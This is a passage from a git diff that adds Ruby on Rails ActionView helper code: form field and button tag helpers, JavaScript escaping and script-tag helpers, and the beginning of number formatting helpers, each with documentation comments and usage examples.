+ # submit_tag nil, class: "form_submit"
+ # # => <input class="form_submit" name="commit" type="submit" />
+ #
+ # submit_tag "Edit", class: "edit_button"
+ # # => <input class="edit_button" name="commit" type="submit" value="Edit" />
+ #
+ # submit_tag "Save", data: { confirm: "Are you sure?" }
+ # # => <input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />
+ #
+ def submit_tag(value = "Save changes", options = {})
+ options = options.stringify_keys
+
+ tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options)
+ end
+
+ # Creates a button element that defines a <tt>submit</tt> button,
+ # <tt>reset</tt>button or a generic button which can be used in
+ # JavaScript, for example. You can use the button tag as a regular
+ # submit tag but it isn't supported in legacy browsers. However,
+ # the button tag allows richer labels such as images and emphasis,
+ # so this helper will also accept a block.
+ #
+ # ==== Options
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>:disabled</tt> - If true, the user will not be able to
+ # use this input.
+ # * Any other key creates standard HTML options for the tag.
+ #
+ # ==== Data attributes
+ #
+ # * <tt>confirm: 'question?'</tt> - If present, the
+ # unobtrusive JavaScript drivers will provide a prompt with
+ # the question specified. If the user accepts, the form is
+ # processed normally, otherwise no action is taken.
+ # * <tt>:disable_with</tt> - Value of this parameter will be
+ # used as the value for a disabled version of the submit
+ # button when the form is submitted. This feature is provided
+ # by the unobtrusive JavaScript driver.
+ #
+ # ==== Examples
+ # button_tag
+ # # => <button name="button" type="submit">Button</button>
+ #
+ # button_tag(type: 'button') do
+ # content_tag(:strong, 'Ask me!')
+ # end
+ # # => <button name="button" type="button">
+ # # <strong>Ask me!</strong>
+ # # </button>
+ #
+ # button_tag "Checkout", data: { disable_with: "Please wait..." }
+ # # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
+ #
+ def button_tag(content_or_options = nil, options = nil, &block)
+ if content_or_options.is_a? Hash
+ options = content_or_options
+ else
+ options ||= {}
+ end
+
+ options = { 'name' => 'button', 'type' => 'submit' }.merge!(options.stringify_keys)
+
+ if block_given?
+ content_tag :button, options, &block
+ else
+ content_tag :button, content_or_options || 'Button', options
+ end
+ end
+
+ # Displays an image which when clicked will submit the form.
+ #
+ # <tt>source</tt> is passed to AssetTagHelper#path_to_image
+ #
+ # ==== Options
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * Any other key creates standard HTML options for the tag.
+ #
+ # ==== Data attributes
+ #
+ # * <tt>confirm: 'question?'</tt> - This will add a JavaScript confirm
+ # prompt with the question specified. If the user accepts, the form is
+ # processed normally, otherwise no action is taken.
+ #
+ # ==== Examples
+ # image_submit_tag("login.png")
+ # # => <input alt="Login" src="/assets/login.png" type="image" />
+ #
+ # image_submit_tag("purchase.png", disabled: true)
+ # # => <input alt="Purchase" disabled="disabled" src="/assets/purchase.png" type="image" />
+ #
+ # image_submit_tag("search.png", class: 'search_button', alt: 'Find')
+ # # => <input alt="Find" class="search_button" src="/assets/search.png" type="image" />
+ #
+ # image_submit_tag("agree.png", disabled: true, class: "agree_disagree_button")
+ # # => <input alt="Agree" class="agree_disagree_button" disabled="disabled" src="/assets/agree.png" type="image" />
+ #
+ # image_submit_tag("save.png", data: { confirm: "Are you sure?" })
+ # # => <input alt="Save" src="/assets/save.png" data-confirm="Are you sure?" type="image" />
+ def image_submit_tag(source, options = {})
+ options = options.stringify_keys
+ tag :input, { "alt" => image_alt(source), "type" => "image", "src" => path_to_image(source) }.update(options)
+ end
+
+ # Creates a field set for grouping HTML form elements.
+ #
+ # <tt>legend</tt> will become the fieldset's title (optional as per W3C).
+ # <tt>options</tt> accept the same values as tag.
+ #
+ # ==== Examples
+ # <%= field_set_tag do %>
+ # <p><%= text_field_tag 'name' %></p>
+ # <% end %>
+ # # => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+ #
+ # <%= field_set_tag 'Your details' do %>
+ # <p><%= text_field_tag 'name' %></p>
+ # <% end %>
+ # # => <fieldset><legend>Your details</legend><p><input id="name" name="name" type="text" /></p></fieldset>
+ #
+ # <%= field_set_tag nil, class: 'format' do %>
+ # <p><%= text_field_tag 'name' %></p>
+ # <% end %>
+ # # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
+ def field_set_tag(legend = nil, options = nil, &block)
+ output = tag(:fieldset, options, true)
+ output.safe_concat(content_tag(:legend, legend)) unless legend.blank?
+ output.concat(capture(&block)) if block_given?
+ output.safe_concat("</fieldset>")
+ end
+
+ # Creates a text field of type "color".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # color_field_tag 'name'
+ # # => <input id="name" name="name" type="color" />
+ #
+ # color_field_tag 'color', '#DEF726'
+ # # => <input id="color" name="color" type="color" value="#DEF726" />
+ #
+ # color_field_tag 'color', nil, class: 'special_input'
+ # # => <input class="special_input" id="color" name="color" type="color" />
+ #
+ # color_field_tag 'color', '#DEF726', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="color" name="color" type="color" value="#DEF726" />
+ def color_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :color))
+ end
+
+ # Creates a text field of type "search".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # search_field_tag 'name'
+ # # => <input id="name" name="name" type="search" />
+ #
+ # search_field_tag 'search', 'Enter your search query here'
+ # # => <input id="search" name="search" type="search" value="Enter your search query here" />
+ #
+ # search_field_tag 'search', nil, class: 'special_input'
+ # # => <input class="special_input" id="search" name="search" type="search" />
+ #
+ # search_field_tag 'search', 'Enter your search query here', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="search" name="search" type="search" value="Enter your search query here" />
+ def search_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :search))
+ end
+
+ # Creates a text field of type "tel".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # telephone_field_tag 'name'
+ # # => <input id="name" name="name" type="tel" />
+ #
+ # telephone_field_tag 'tel', '0123456789'
+ # # => <input id="tel" name="tel" type="tel" value="0123456789" />
+ #
+ # telephone_field_tag 'tel', nil, class: 'special_input'
+ # # => <input class="special_input" id="tel" name="tel" type="tel" />
+ #
+ # telephone_field_tag 'tel', '0123456789', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="tel" name="tel" type="tel" value="0123456789" />
+ def telephone_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :tel))
+ end
+ alias phone_field_tag telephone_field_tag
+
+ # Creates a text field of type "date".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # date_field_tag 'name'
+ # # => <input id="name" name="name" type="date" />
+ #
+ # date_field_tag 'date', '01/01/2014'
+ # # => <input id="date" name="date" type="date" value="01/01/2014" />
+ #
+ # date_field_tag 'date', nil, class: 'special_input'
+ # # => <input class="special_input" id="date" name="date" type="date" />
+ #
+ # date_field_tag 'date', '01/01/2014', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="date" name="date" type="date" value="01/01/2014" />
+ def date_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :date))
+ end
+
+ # Creates a text field of type "time".
+ #
+ # === Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ def time_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :time))
+ end
+
+ # Creates a text field of type "datetime".
+ #
+ # === Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ def datetime_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :datetime))
+ end
+
+ # Creates a text field of type "datetime-local".
+ #
+ # === Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ def datetime_local_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: 'datetime-local'))
+ end
+
+ # Creates a text field of type "month".
+ #
+ # === Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ def month_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :month))
+ end
+
+ # Creates a text field of type "week".
+ #
+ # === Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ def week_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :week))
+ end
+
+ # Creates a text field of type "url".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # url_field_tag 'name'
+ # # => <input id="name" name="name" type="url" />
+ #
+ # url_field_tag 'url', 'http://rubyonrails.org'
+ # # => <input id="url" name="url" type="url" value="http://rubyonrails.org" />
+ #
+ # url_field_tag 'url', nil, class: 'special_input'
+ # # => <input class="special_input" id="url" name="url" type="url" />
+ #
+ # url_field_tag 'url', 'http://rubyonrails.org', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="url" name="url" type="url" value="http://rubyonrails.org" />
+ def url_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :url))
+ end
+
+ # Creates a text field of type "email".
+ #
+ # ==== Options
+ # * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # email_field_tag 'name'
+ # # => <input id="name" name="name" type="email" />
+ #
+ # email_field_tag 'email', 'email@example.com'
+ # # => <input id="email" name="email" type="email" value="email@example.com" />
+ #
+ # email_field_tag 'email', nil, class: 'special_input'
+ # # => <input class="special_input" id="email" name="email" type="email" />
+ #
+ # email_field_tag 'email', 'email@example.com', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="email" name="email" type="email" value="email@example.com" />
+ def email_field_tag(name, value = nil, options = {})
+ text_field_tag(name, value, options.merge(type: :email))
+ end
+
+ # Creates a number field.
+ #
+ # ==== Options
+ # * <tt>:min</tt> - The minimum acceptable value.
+ # * <tt>:max</tt> - The maximum acceptable value.
+ # * <tt>:in</tt> - A range specifying the <tt>:min</tt> and
+ # <tt>:max</tt> values.
+ # * <tt>:within</tt> - Same as <tt>:in</tt>.
+ # * <tt>:step</tt> - The acceptable value granularity.
+ # * Otherwise accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # number_field_tag 'quantity'
+ # # => <input id="quantity" name="quantity" type="number" />
+ #
+ # number_field_tag 'quantity', '1'
+ # # => <input id="quantity" name="quantity" type="number" value="1" />
+ #
+ # number_field_tag 'quantity', nil, class: 'special_input'
+ # # => <input class="special_input" id="quantity" name="quantity" type="number" />
+ #
+ # number_field_tag 'quantity', nil, min: 1
+ # # => <input id="quantity" name="quantity" min="1" type="number" />
+ #
+ # number_field_tag 'quantity', nil, max: 9
+ # # => <input id="quantity" name="quantity" max="9" type="number" />
+ #
+ # number_field_tag 'quantity', nil, in: 1...10
+ # # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+ #
+ # number_field_tag 'quantity', nil, within: 1...10
+ # # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+ #
+ # number_field_tag 'quantity', nil, min: 1, max: 10
+ # # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+ #
+ # number_field_tag 'quantity', nil, min: 1, max: 10, step: 2
+ # # => <input id="quantity" name="quantity" min="1" max="9" step="2" type="number" />
+ #
+ # number_field_tag 'quantity', '1', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="quantity" name="quantity" type="number" value="1" />
+ def number_field_tag(name, value = nil, options = {})
+ options = options.stringify_keys
+ options["type"] ||= "number"
+ if range = options.delete("in") || options.delete("within")
+ options.update("min" => range.min, "max" => range.max)
+ end
+ text_field_tag(name, value, options)
+ end
+
+ # Creates a range form element.
+ #
+ # ==== Options
+ # * Accepts the same options as number_field_tag.
+ def range_field_tag(name, value = nil, options = {})
+ number_field_tag(name, value, options.merge(type: :range))
+ end
+
+ # Creates the hidden UTF8 enforcer tag. Override this method in a helper
+ # to customize the tag.
+ def utf8_enforcer_tag
+ # Use raw HTML to ensure the value is written as an HTML entity; it
+ # needs to be the right character regardless of which encoding the
+ # browser infers.
+ '<input name="utf8" type="hidden" value="&#x2713;" />'.html_safe
+ end
+
+ private
+ def html_options_for_form(url_for_options, options)
+ options.stringify_keys.tap do |html_options|
+ html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
+ # The following URL is unescaped, this is just a hash of options, and it is the
+ # responsibility of the caller to escape all the values.
+ html_options["action"] = url_for(url_for_options)
+ html_options["accept-charset"] = "UTF-8"
+
+ html_options["data-remote"] = true if html_options.delete("remote")
+
+ if html_options["data-remote"] &&
+ !embed_authenticity_token_in_remote_forms &&
+ html_options["authenticity_token"].blank?
+ # The authenticity token is taken from the meta tag in this case
+ html_options["authenticity_token"] = false
+ elsif html_options["authenticity_token"] == true
+ # Include the default authenticity_token, which is only generated when its set to nil,
+ # but we needed the true value to override the default of no authenticity_token on data-remote.
+ html_options["authenticity_token"] = nil
+ end
+ end
+ end
+
+ def extra_tags_for_form(html_options)
+ authenticity_token = html_options.delete("authenticity_token")
+ method = html_options.delete("method").to_s
+
+ method_tag = case method
+ when /^get$/i # must be case-insensitive, but can't use downcase as might be nil
+ html_options["method"] = "get"
+ ''
+ when /^post$/i, "", nil
+ html_options["method"] = "post"
+ token_tag(authenticity_token)
+ else
+ html_options["method"] = "post"
+ method_tag(method) + token_tag(authenticity_token)
+ end
+
+ if html_options.delete("enforce_utf8") { true }
+ utf8_enforcer_tag + method_tag
+ else
+ method_tag
+ end
+ end
+
+ def form_tag_html(html_options)
+ extra_tags = extra_tags_for_form(html_options)
+ tag(:form, html_options, true) + extra_tags
+ end
+
+ def form_tag_with_body(html_options, content)
+ output = form_tag_html(html_options)
+ output << content
+ output.safe_concat("</form>")
+ end
+
+ # see http://www.w3.org/TR/html4/types.html#type-name
+ def sanitize_to_id(name)
+ name.to_s.delete(']').tr('^-a-zA-Z0-9:.', "_")
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/javascript_helper.rb b/actionview/lib/action_view/helpers/javascript_helper.rb
new file mode 100644
index 0000000000..629c447f3f
--- /dev/null
+++ b/actionview/lib/action_view/helpers/javascript_helper.rb
@@ -0,0 +1,81 @@
+require 'action_view/helpers/tag_helper'
+
+module ActionView
+ module Helpers
+ module JavaScriptHelper
+ JS_ESCAPE_MAP = {
+ '\\' => '\\\\',
+ '</' => '<\/',
+ "\r\n" => '\n',
+ "\n" => '\n',
+ "\r" => '\n',
+ '"' => '\\"',
+ "'" => "\\'"
+ }
+
+ JS_ESCAPE_MAP["\342\200\250".force_encoding(Encoding::UTF_8).encode!] = '&#x2028;'
+ JS_ESCAPE_MAP["\342\200\251".force_encoding(Encoding::UTF_8).encode!] = '&#x2029;'
+
+ # Escapes carriage returns and single and double quotes for JavaScript segments.
+ #
+ # Also available through the alias j(). This is particularly helpful in JavaScript
+ # responses, like:
+ #
+ # $('some_element').replaceWith('<%=j render 'some/element_template' %>');
+ def escape_javascript(javascript)
+ if javascript
+ result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] }
+ javascript.html_safe? ? result.html_safe : result
+ else
+ ''
+ end
+ end
+
+ alias_method :j, :escape_javascript
+
+ # Returns a JavaScript tag with the +content+ inside. Example:
+ # javascript_tag "alert('All is good')"
+ #
+ # Returns:
+ # <script>
+ # //<![CDATA[
+ # alert('All is good')
+ # //]]>
+ # </script>
+ #
+ # +html_options+ may be a hash of attributes for the <tt>\<script></tt>
+ # tag.
+ #
+ # javascript_tag "alert('All is good')", defer: 'defer'
+ #
+ # Returns:
+ # <script defer="defer">
+ # //<![CDATA[
+ # alert('All is good')
+ # //]]>
+ # </script>
+ #
+ # Instead of passing the content as an argument, you can also use a block
+ # in which case, you pass your +html_options+ as the first parameter.
+ #
+ # <%= javascript_tag defer: 'defer' do -%>
+ # alert('All is good')
+ # <% end -%>
+ def javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)
+ content =
+ if block_given?
+ html_options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+ capture(&block)
+ else
+ content_or_options_with_block
+ end
+
+ content_tag(:script, javascript_cdata_section(content), html_options)
+ end
+
+ def javascript_cdata_section(content) #:nodoc:
+ "\n//#{cdata_section("\n#{content}\n//")}\n".html_safe
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/number_helper.rb b/actionview/lib/action_view/helpers/number_helper.rb
new file mode 100644
index 0000000000..f66dbfe7d3
--- /dev/null
+++ b/actionview/lib/action_view/helpers/number_helper.rb
@@ -0,0 +1,432 @@
+# encoding: utf-8
+
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/number_helper'
+
+module ActionView
+ # = Action View Number Helpers
+ module Helpers #:nodoc:
+
+ # Provides methods for converting numbers into formatted strings.
+ # Methods are provided for phone numbers, currency, percentage,
+ # precision, positional notation, file size and pretty printing.
+ #
+ # Most methods expect a +number+ argument, and will return it
+ # unchanged if can't be converted into a valid number.
+ module NumberHelper
+
+ # Raised when argument +number+ param given to the helpers is invalid and
+ # the option :raise is set to +true+.
+ class InvalidNumberError < StandardError
+ attr_accessor :number
+ def initialize(number)
+ @number = number
+ end
+ end
+
+ # Formats a +number+ into a US phone number (e.g., (555)
+ # 123-9876). You can customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:area_code</tt> - Adds parentheses around the area code.
+ # * <tt>:delimiter</tt> - Specifies the delimiter to use
+ # (defaults to "-").
+ # * <tt>:extension</tt> - Specifies an extension to add to the
+ # end of the generated number.
+ # * <tt>:country_code</tt> - Sets the country code for the phone
+ # number.
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_to_phone(5551234) # => 555-1234
+ # number_to_phone("5551234") # => 555-1234
+ # number_to_phone(1235551234) # => 123-555-1234
+ # number_to_phone(1235551234, area_code: true) # => (123) 555-1234
+ # number_to_phone(1235551234, delimiter: " ") # => 123 555 1234
+ # number_to_phone(1235551234, area_code: true, extension: 555) # => (123) 555-1234 x 555
+ # number_to_phone(1235551234, country_code: 1) # => +1-123-555-1234
+ # number_to_phone("123a456") # => 123a456
+ # number_to_phone("1234a567", raise: true) # => InvalidNumberError
+ #
+ # number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: ".")
+ # # => +1.123.555.1234 x 1343
+ def number_to_phone(number, options = {})
+ return unless number
+ options = options.symbolize_keys
+
+ parse_float(number, true) if options.delete(:raise)
+ ERB::Util.html_escape(ActiveSupport::NumberHelper.number_to_phone(number, options))
+ end
+
+ # Formats a +number+ into a currency string (e.g., $13.65). You
+ # can customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the level of precision (defaults
+ # to 2).
+ # * <tt>:unit</tt> - Sets the denomination of the currency
+ # (defaults to "$").
+ # * <tt>:separator</tt> - Sets the separator between the units
+ # (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to ",").
+ # * <tt>:format</tt> - Sets the format for non-negative numbers
+ # (defaults to "%u%n"). Fields are <tt>%u</tt> for the
+ # currency, and <tt>%n</tt> for the number.
+ # * <tt>:negative_format</tt> - Sets the format for negative
+ # numbers (defaults to prepending an hyphen to the formatted
+ # number given by <tt>:format</tt>). Accepts the same fields
+ # than <tt>:format</tt>, except <tt>%n</tt> is here the
+ # absolute value of the number.
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_to_currency(1234567890.50) # => $1,234,567,890.50
+ # number_to_currency(1234567890.506) # => $1,234,567,890.51
+ # number_to_currency(1234567890.506, precision: 3) # => $1,234,567,890.506
+ # number_to_currency(1234567890.506, locale: :fr) # => 1 234 567 890,51 €
+ # number_to_currency("123a456") # => $123a456
+ #
+ # number_to_currency("123a456", raise: true) # => InvalidNumberError
+ #
+ # number_to_currency(-1234567890.50, negative_format: "(%u%n)")
+ # # => ($1,234,567,890.50)
+ # number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "")
+ # # => R$1234567890,50
+ # number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "", format: "%n %u")
+ # # => 1234567890,50 R$
+ def number_to_currency(number, options = {})
+ delegate_number_helper_method(:number_to_currency, number, options)
+ end
+
+ # Formats a +number+ as a percentage string (e.g., 65%). You can
+ # customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +false+).
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +false+).
+ # * <tt>:format</tt> - Specifies the format of the percentage
+ # string The number field is <tt>%n</tt> (defaults to "%n%").
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_to_percentage(100) # => 100.000%
+ # number_to_percentage("98") # => 98.000%
+ # number_to_percentage(100, precision: 0) # => 100%
+ # number_to_percentage(1000, delimiter: '.', separator: ',') # => 1.000,000%
+ # number_to_percentage(302.24398923423, precision: 5) # => 302.24399%
+ # number_to_percentage(1000, locale: :fr) # => 1 000,000%
+ # number_to_percentage("98a") # => 98a%
+ # number_to_percentage(100, format: "%n %") # => 100 %
+ #
+ # number_to_percentage("98a", raise: true) # => InvalidNumberError
+ def number_to_percentage(number, options = {})
+ delegate_number_helper_method(:number_to_percentage, number, options)
+ end
+
+ # Formats a +number+ with grouped thousands using +delimiter+
+ # (e.g., 12,324). You can customize the format in the +options+
+ # hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to ",").
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_with_delimiter(12345678) # => 12,345,678
+ # number_with_delimiter("123456") # => 123,456
+ # number_with_delimiter(12345678.05) # => 12,345,678.05
+ # number_with_delimiter(12345678, delimiter: ".") # => 12.345.678
+ # number_with_delimiter(12345678, delimiter: ",") # => 12,345,678
+ # number_with_delimiter(12345678.05, separator: " ") # => 12,345,678 05
+ # number_with_delimiter(12345678.05, locale: :fr) # => 12 345 678,05
+ # number_with_delimiter("112a") # => 112a
+ # number_with_delimiter(98765432.98, delimiter: " ", separator: ",")
+ # # => 98 765 432,98
+ #
+ # number_with_delimiter("112a", raise: true) # => raise InvalidNumberError
+ def number_with_delimiter(number, options = {})
+ delegate_number_helper_method(:number_to_delimited, number, options)
+ end
+
+ # Formats a +number+ with the specified level of
+ # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
+ # +:significant+ is +false+, and 5 if +:significant+ is +true+).
+ # You can customize the format in the +options+ hash.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +false+).
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +false+).
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_with_precision(111.2345) # => 111.235
+ # number_with_precision(111.2345, precision: 2) # => 111.23
+ # number_with_precision(13, precision: 5) # => 13.00000
+ # number_with_precision(389.32314, precision: 0) # => 389
+ # number_with_precision(111.2345, significant: true) # => 111
+ # number_with_precision(111.2345, precision: 1, significant: true) # => 100
+ # number_with_precision(13, precision: 5, significant: true) # => 13.000
+ # number_with_precision(111.234, locale: :fr) # => 111,234
+ #
+ # number_with_precision(13, precision: 5, significant: true, strip_insignificant_zeros: true)
+ # # => 13
+ #
+ # number_with_precision(389.32314, precision: 4, significant: true) # => 389.3
+ # number_with_precision(1111.2345, precision: 2, separator: ',', delimiter: '.')
+ # # => 1.111,23
+ def number_with_precision(number, options = {})
+ delegate_number_helper_method(:number_to_rounded, number, options)
+ end
+
+ # Formats the bytes in +number+ into a more understandable
+ # representation (e.g., giving it 1500 yields 1.5 KB). This
+ # method is useful for reporting file sizes to users. You can
+ # customize the format in the +options+ hash.
+ #
+ # See <tt>number_to_human</tt> if you want to pretty-print a
+ # generic number.
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +true+)
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +true+)
+ # * <tt>:prefix</tt> - If +:si+ formats the number using the SI
+ # prefix (defaults to :binary)
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_to_human_size(123) # => 123 Bytes
+ # number_to_human_size(1234) # => 1.21 KB
+ # number_to_human_size(12345) # => 12.1 KB
+ # number_to_human_size(1234567) # => 1.18 MB
+ # number_to_human_size(1234567890) # => 1.15 GB
+ # number_to_human_size(1234567890123) # => 1.12 TB
+ # number_to_human_size(1234567, precision: 2) # => 1.2 MB
+ # number_to_human_size(483989, precision: 2) # => 470 KB
+ # number_to_human_size(1234567, precision: 2, separator: ',') # => 1,2 MB
+ # number_to_human_size(1234567890123, precision: 5) # => "1.1228 TB"
+ # number_to_human_size(524288000, precision: 5) # => "500 MB"
+ def number_to_human_size(number, options = {})
+ delegate_number_helper_method(:number_to_human_size, number, options)
+ end
+
+ # Pretty prints (formats and approximates) a number in a way it
+ # is more readable by humans (eg.: 1200000000 becomes "1.2
+ # Billion"). This is useful for numbers that can get very large
+ # (and too hard to read).
+ #
+ # See <tt>number_to_human_size</tt> if you want to print a file
+ # size.
+ #
+ # You can also define you own unit-quantifier names if you want
+ # to use other decimal units (eg.: 1500 becomes "1.5
+ # kilometers", 0.150 becomes "150 milliliters", etc). You may
+ # define a wide range of unit quantifiers, even fractional ones
+ # (centi, deci, mili, etc).
+ #
+ # ==== Options
+ #
+ # * <tt>:locale</tt> - Sets the locale to be used for formatting
+ # (defaults to current locale).
+ # * <tt>:precision</tt> - Sets the precision of the number
+ # (defaults to 3).
+ # * <tt>:significant</tt> - If +true+, precision will be the #
+ # of significant_digits. If +false+, the # of fractional
+ # digits (defaults to +true+)
+ # * <tt>:separator</tt> - Sets the separator between the
+ # fractional and integer digits (defaults to ".").
+ # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+ # to "").
+ # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+ # insignificant zeros after the decimal separator (defaults to
+ # +true+)
+ # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
+ # string containing an i18n scope where to find this hash. It
+ # might have the following keys:
+ # * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
+ # <tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+ # <tt>:billion</tt>, <tt>:trillion</tt>,
+ # <tt>:quadrillion</tt>
+ # * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
+ # <tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+ # <tt>:pico</tt>, <tt>:femto</tt>
+ # * <tt>:format</tt> - Sets the format of the output string
+ # (defaults to "%n %u"). The field types are:
+ # * %u - The quantifier (ex.: 'thousand')
+ # * %n - The number
+ # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+ # the argument is invalid.
+ #
+ # ==== Examples
+ #
+ # number_to_human(123) # => "123"
+ # number_to_human(1234) # => "1.23 Thousand"
